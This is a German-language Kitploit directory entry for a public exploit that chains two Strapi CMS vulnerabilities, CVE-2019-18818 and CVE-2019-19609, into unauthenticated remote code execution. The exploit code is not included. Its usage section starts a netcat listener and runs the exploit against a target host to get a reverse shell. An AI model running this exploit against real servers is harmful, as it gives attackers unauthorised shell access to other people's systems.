Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-19609 — Strapi CMS 3.0.0-beta.17.4 - Nicht authentifizierte Remote-Codeausführung (CVE-2019-18818, CVE-2019-19609) | Kitploit
Tools/GitHubGitHub/glowbase/cve-2019-19609
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Tool
GitHubglowbase/cve-2019-19609

CVE-2019-19609

Strapi CMS 3.0.0-beta.17.4 - Nicht authentifizierte Remote-Codeausführung (CVE-2019-18818, CVE-2019-19609)

Repository anzeigen
21vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Strapi CMS Exploit

Dieser Exploit zielt auf zwei Schwachstellen im Strapi CMS Framework Version 3.0.0-beta-17.4 ab, die eine nicht authentifizierte Remotecodeausführung (RCE) ermöglichen.

 

Schwachstellen

CVE-2019-18818

Schwacher Mechanismus zur Wiederherstellung vergessener Passwörter

CVSS: 9.8 - Kritisch

Weitere Details: https://nvd.nist.gov/vuln/detail/CVE-2019-18818

CVE-2019-19609

Unzureichende Neutralisierung spezieller Elemente in einem Betriebssystembefehl ('OS Command Injection')

CVSS: 7.2 - Hoch

Weitere Details: https://nvd.nist.gov/vuln/detail/CVE-2019-19609

 

Verwendung:

Bevor Sie diesen Exploit ausführen, starten Sie einen netcat-Listener auf dem lport, den Sie in den folgenden Optionen angeben.

netcat-Listener starten

root@kitploit:~
nc -lnvp <lport>

Exploit ausführen

root@kitploit:~
exploit.py <rhost> <lhost> <lport>
Tool herunterladen